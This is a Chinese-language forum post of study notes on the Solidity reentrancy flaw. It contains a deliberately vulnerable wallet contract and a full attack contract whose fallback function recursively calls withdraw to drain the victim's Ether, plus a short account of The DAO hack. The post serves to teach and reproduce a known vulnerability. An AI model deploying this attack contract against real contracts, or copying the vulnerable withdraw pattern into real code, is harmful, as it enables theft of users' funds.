-
-
[分享]智能合约Solidity漏洞学习笔记(一)Reentrancy - 重入
-
发表于:
2018-6-12 02:34
10181
-
[分享]智能合约Solidity漏洞学习笔记(一)Reentrancy - 重入
solidity漏洞类型学习笔记(一)
以下代码内容皆参考于RICKGRAY师傅之前的文章《以太坊智能合约安全入门了解一下》,在此记录我在复现中发现的一些问题和学习记录。
Reentrancy - 重入
首先我们先参考代码实现一个类似公共钱包的代码,
pragma solidity ^0.4.19;
contract IDMoney{
address _owner;
mapping (address => uint256) balances;
function IDMoney() {
_owner = msg.sender; //构造函数中的msg.sender只能是创建者
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(address to, uint256 amount) public payable {
require(balances[msg.sender] >= amount); //公共钱包中调用者的余额是否足够
require(this.balance >= amount); //该合约资产是否足够
to.call.value(amount*10**18)(); //此处amount单位是wei,这里我换算成ether
balances[msg.sender] -= amount*10**18;
}
function balanceof(address to) constant returns(uint256){
return balances[to];
}
}
balances定义了一个下标为[address]的公共钱包,deposit函数向钱包中调用者的位置存入相应的value值,withdraw函数检查提币账户的余额与该合约资产是否大于参数amount,之后向to地址发送相应Ether。
部署成功后我们调用deposit函数向钱包中存入25ether,可在balanceof处输入"0xca3...a733c"的地址查看钱包中该地址的余额是否为25*10^18wei。随后我们将这个钱包中的余额转给另一个外部用户:
此时的调用者依然是"0xca3...",拷贝第二个外部账户的地址"0x147..."。输入参数"0x147...",25调用withdraw()函数,成功转账。
这里存在着一个问题:当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数——The DAO)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。【1、call.value()提供了足够的Gas 2、资产的修改在转币之后】
Solidity 中 <address>.transfer(),<address>.send() 和 <address>.gas().call.vale()() 都可以用于向某一地址发送 ether,他们的区别在于:
<address>.transfer()
* 当发送失败时会 throw; 回滚状态
* 只会传递 2300 Gas 供调用,防止重入(reentrancy)
<address>.send()
* 当发送失败时会返回 false 布尔值
* 只会传递 2300 Gas 供调用,防止重入(reentrancy)
<address>.gas().call.value()()
* 当发送失败时会返回 false 布尔值
* 传递所有可用 Gas 进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入(reentrancy)
以下是rickgray师傅实现的攻击代码,有小修改,攻击流程在他的博客中也有GIF。
pragma solidity ^0.4.19;
contract IDMoney{
address _owner;
mapping (address => uint256) balances;
function IDMoney() {
_owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(address to, uint256 amount) public payable {
require(balances[msg.sender] >= amount);
require(this.balance >= amount);
to.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceof(address to) constant returns(uint256){
return balances[to];
}
}
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }
// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}
function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
可能是Remix的原因我在一开始复现时就是不成功,后来查原因之后在输入参数处加上引号即可。
The DAO:
第一处红线向攻击者账户转钱,第二处withdrawRewardFor函数:
在payout中调用攻击者_recipient,但没有指定具体函数则调用fallback函数,在fallback函数中会再次调用splitDAO函数,实现恶意递归。在方框中的修改余额代码执行之前,就完成了偷钱操作。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2018-6-12 09:57
被luobobo编辑
,原因: